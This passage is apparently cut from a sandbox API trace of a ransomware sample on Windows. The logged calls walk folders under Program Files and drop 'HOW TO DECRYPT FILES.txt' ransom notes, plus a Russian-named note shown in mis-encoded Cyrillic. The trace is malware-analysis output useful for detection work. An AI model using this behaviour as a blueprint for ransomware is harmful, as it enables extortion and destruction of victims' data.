| out: lpMsg=0x18f784) returned 0 [0059.765] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="MSTTSEngine.dll") returned -1 [0059.765] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="MSTTSEngine.dll") returned -1 [0059.765] lstrcmpiA (lpString1="", lpString2="MSTTSEngine.dll") returned -1 [0059.765] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\MSTTSCommon.dll") returned="MSTTSCommon.dll" [0059.765] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\" | out: lpString1="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\") returned="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\" [0059.765] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\" | out: pszPath="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\") returned="" [0059.765] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\HOW TO DECRYPT FILES.txt" [0059.765] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\speechengines\\microsoft\\tts20\\how to decrypt files.txt")) returned 0xffffffff [0059.765] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\speechengines\\microsoft\\tts20\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0059.765] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0059.765] CloseHandle (hObject=0xffffffff) returned 0 [0059.765] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\", lpString2="MSTTSEngine.dll" | out: lpString1="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\MSTTSEngine.dll") returned="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\MSTTSEngine.dll" [0059.765] FindNextFileA (in: hFindFile=0x4f81e0, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6d522f4, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xc6d522f4, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x3739a960, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0x0, dwReserved1=0x4f8500, cFileName="MSTTSLoc.dll", cAlternateFileName="")) returned 1 [0059.765] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.765] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="MSTTSLoc.dll") returned -1 [0059.765] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="MSTTSLoc.dll") returned -1 [0059.766] lstrcmpiA (lpString1="", lpString2="MSTTSLoc.dll") returned -1 [0059.766] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\MSTTSEngine.dll") returned="MSTTSEngine.dll" [0059.766] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\" | out: lpString1="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\") returned="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\" [0059.766] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\" | out: pszPath="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\") returned="" [0059.766] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\HOW TO DECRYPT FILES.txt" [0059.766] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\speechengines\\microsoft\\tts20\\how to decrypt files.txt")) returned 0xffffffff [0059.766] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\speechengines\\microsoft\\tts20\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0059.766] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0059.766] CloseHandle (hObject=0xffffffff) returned 0 [0059.766] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\", lpString2="MSTTSLoc.dll" | out: lpString1="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\MSTTSLoc.dll") returned="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\MSTTSLoc.dll" [0059.766] FindNextFileA (in: hFindFile=0x4f81e0, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6d522f4, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xc6d522f4, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x3739a960, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0x0, dwReserved1=0x4f8500, cFileName="MSTTSLoc.dll", cAlternateFileName="")) returned 0 [0059.766] FindClose (in: hFindFile=0x4f81e0 | out: hFindFile=0x4f81e0) returned 1 [0059.766] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="TTS20", cAlternateFileName="")) returned 0 [0059.766] FindClose (in: hFindFile=0x4f8118 | out: hFindFile=0x4f8118) returned 1 [0059.766] FindNextFileA (in: hFindFile=0x4f7080, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 0 [0059.767] FindClose (in: hFindFile=0x4f7080 | out: hFindFile=0x4f7080) returned 1 [0059.767] FindNextFileA (in: hFindFile=0x4f70d0, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x700053, dwReserved1=0x3, cFileName="System", cAlternateFileName="")) returned 1 [0059.767] lstrcmpA (lpString1=".", lpString2="System") returned -1 [0059.767] lstrcmpA (lpString1="..", lpString2="System") returned -1 [0059.767] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\*.*") returned="*.*" [0059.767] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\", lpString2="System" | out: lpString1="C:\\Program Files\\Common Files\\System") returned="C:\\Program Files\\Common Files\\System" [0059.767] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\System\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x69004d, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x4f7080 [0059.769] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0059.769] FindNextFileA (in: hFindFile=0x4f7080, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0059.769] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0059.769] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0059.769] FindNextFileA (in: hFindFile=0x4f7080, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="ado", cAlternateFileName="")) returned 1 [0059.769] lstrcmpA (lpString1=".", lpString2="ado") returned -1 [0059.769] lstrcmpA (lpString1="..", lpString2="ado") returned -1 [0059.769] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\System\\*.*") returned="*.*" [0059.769] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\System\\", lpString2="ado" | out: lpString1="C:\\Program Files\\Common Files\\System\\ado") returned="C:\\Program Files\\Common Files\\System\\ado" [0059.769] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\System\\ado\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4f94d8, dwReserved1=0x4f94d3, cFileName=".", cAlternateFileName="")) returned 0x4f8180 [0059.771] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0059.771] FindNextFileA (in: hFindFile=0x4f8180, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4f0000, cFileName="..", cAlternateFileName="")) returned 1 [0059.771] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0059.771] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0059.771] FindNextFileA (in: hFindFile=0x4f8180, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4c91ed4, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0xa4c91ed4, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0xa06f97f7, ftLastWriteTime.dwHighDateTime=0x1ca03fb, nFileSizeHigh=0x0, nFileSizeLow=0x3912, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="adojavas.inc", cAlternateFileName="")) returned 1 [0059.771] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0059.771] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="adojavas.inc") returned 1 [0059.771] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="adojavas.inc") returned 1 [0059.771] lstrcmpiA (lpString1="", lpString2="adojavas.inc") returned -1 [0059.771] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\System\\ado\\*.*") returned="*.*" [0059.771] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\System\\ado\\" | out: lpString1="C:\\Program Files\\Common Files\\System\\ado\\") returned="C:\\Program Files\\Common Files\\System\\ado\\" [0059.771] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\System\\ado\\" | out: pszPath="C:\\Program Files\\Common Files\\System\\ado\\") returned="" [0059.771] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\System\\ado\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Common Files\\System\\ado\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Common Files\\System\\ado\\HOW TO DECRYPT FILES.txt" [0059.771] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\system\\ado\\how to decrypt files.txt")) returned 0xffffffff [0059.771] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\system\\ado\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x8c [0059.773] SetFileTime (hFile=0x8c, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0059.773] CloseHandle (hObject=0x8c) returned 1 [0059.773] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\System\\ado\\", lpString2="adojavas.inc" | out: lpString1="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc") returned="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc" [0059.773] FindNextFileA (in: hFindFile=0x4f8180, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4085067, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0xa4085067, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0xa0661283, ftLastWriteTime.dwHighDateTime=0x1ca03fb, nFileSizeHigh=0x0, nFileSizeLow=0x3a67, dwReserved0=0x0, dwReserved1=0x4f8478, cFileName="adovbs.inc", cAlternateFileName="")) returned 1 [0059.773] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0059.774] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="adovbs.inc") returned 1 [0059.774] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="adovbs.inc") returned 1 [0059.774] lstrcmpiA (lpString1="", lpString2="adovbs.inc") returned -1 [0059.774] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc") returned="adojavas.inc" [0059.774] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\System\\ado\\" | out: lpString1="C:\\Program Files\\Common Files\\System\\ado\\") returned="C:\\Program Files\\Common Files\\System\\ado\\" [0059.774] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\System\\ado\\" | out: pszPath="C:\\Program Files\\Common Files\\System\\ado\\") returned="" [0059.774] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\System\\ado\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Common Files\\System\\ado\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Common Files\\System\\ado\\HOW TO DECRYPT FILES.txt" [0059.774] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\system\\ado\\how to decrypt files.txt")) returned 0x20 [0059.774] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\System\\ado\\", lpString2="adovbs.inc" | out: lpString1="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc") returned="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc" [0059.774] FindNextFileA (in: hFindFile=0x4f8180, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0059.774] lstrcmpA (lpString1=".", lpString2="en-US") returned -1 [0059.774] lstrcmpA (lpString1="..", lpString2="en-US") returned -1 [0059.774] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc") returned="adovbs.inc" [0059.774] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\System\\ado\\", lpString2="en-US" | out: lpString1="C:\\Program Files\\Common Files\\System\\ado\\en-US") returned="C:\\Program Files\\Common Files\\System\\ado\\en-US" [0059.774] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\System\\ado\\en-US\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f610, dwReserved1=0x4f8242, cFileName=".", cAlternateFileName="")) returned 0x4f8118 [0059.774] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0059.774] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4f0000, cFileName="..", cAlternateFileName="")) returned 1 [0059.774] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0059.775] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0059.775] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2a152a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb5e9110, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xb2a152a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x4400, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="msader15.dll.mui", cAlternateFileName="")) returned 1 [0059.775] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.775] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="msader15.dll.mui") returned -1 [0059.775] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="msader15.dll.mui") returned -1 [0059.775] lstrcmpiA (lpString1="", lpString2="msader15.dll.mui") returned -1 [0059.775] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\System\\ado\\en-US\\*.*") returned="*.*" [0059.775] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\System\\ado\\en-US\\" | out: lpString1="C:\\Program Files\\Common Files\\System\\ado\\en-US\\") returned="C:\\Program Files\\Common Files\\System\\ado\\en-US\\" [0059.775] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\System\\ado\\en-US\\" | out: pszPath="C:\\Program Files\\Common Files\\System\\ado\\en-US\\") returned="" [0059.775] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\System\\ado\\en-US\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Common Files\\System\\ado\\en-US\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Common Files\\System\\ado\\en-US\\HOW TO DECRYPT FILES.txt" [0059.775] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\en-US\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\system\\ado\\en-us\\how to decrypt files.txt")) returned 0xffffffff [0059.775] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\en-US\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\system\\ado\\en-us\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0059.776] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0059.776] CloseHandle (hObject=0x90) returned 1 [0059.777] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\System\\ado\\en-US\\", lpString2="msader15.dll.mui" | out: lpString1="C:\\Program Files\\Common Files\\System\\ado\\en-US\\msader15.dll.mui") returned="C:\\Program Files\\Common Files\\System\\ado\\en-US\\msader15.dll.mui" [0059.777] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2a152a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb5e9110, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xb2a152a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x4400, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="msader15.dll.mui", cAlternateFileName="")) returned 0 [0059.777] FindClose (in: hFindFile=0x4f8118 | out: hFindFile=0x4f8118) returned 1 [0059.777] FindNextFileA (in: hFindFile=0x4f8180, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6129cc5, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0x6129cc5, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x80fe7780, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x76c5023c, dwReserved1=0x3, cFileName="msader15.dll", cAlternateFileName="")) returned 1 [0059.777] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0059.777] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="msader15.dll") returned -1 [0059.777] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="msader15.dll") returned -1 [0059.777] lstrcmpiA (lpString1="", lpString2="msader15.dll") returned -1 [0059.777] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\System\\ado\\*.*") returned="*.*" [0059.777] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\System\\ado\\" | out: lpString1="C:\\Program Files\\Common Files\\System\\ado\\") returned="C:\\Program Files\\Common Files\\System\\ado\\" [0059.777] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\System\\ado\\" | out: pszPath="C:\\Program Files\\Common Files\\System\\ado\\") returned="" [0059.777] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\System\\ado\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Common Files\\System\\ado\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Common Files\\System\\ado\\HOW TO DECRYPT FILES.txt" [0059.777] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\system\\ado\\how to decrypt files.txt")) returned 0x20 [0059.778] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\System\\ado\\", lpString2="msader15.dll" | out: lpString1="C:\\Program Files\\Common Files\\System\\ado\\msader15.dll") returned="C:\\Program Files\\Common Files\\System\\ado\\msader15.dll" [0059.778] FindNextFileA (in: hFindFile=0x4f8180, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f7da10b, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8f7da10b, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8f80026c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x16e000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado15.dll", cAlternateFileName="")) returned 1 [0059.778] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0059.778] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="msado15.dll") returned -1 [0059.778] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="msado15.dll") returned -1 [0059.778] lstrcmpiA (lpString1="", lpString2="msado15.dll") returned -1 [0059.778] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\System\\ado\\msader15.dll") returned="msader15.dll" [0059.778] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\System\\ado\\" | out: 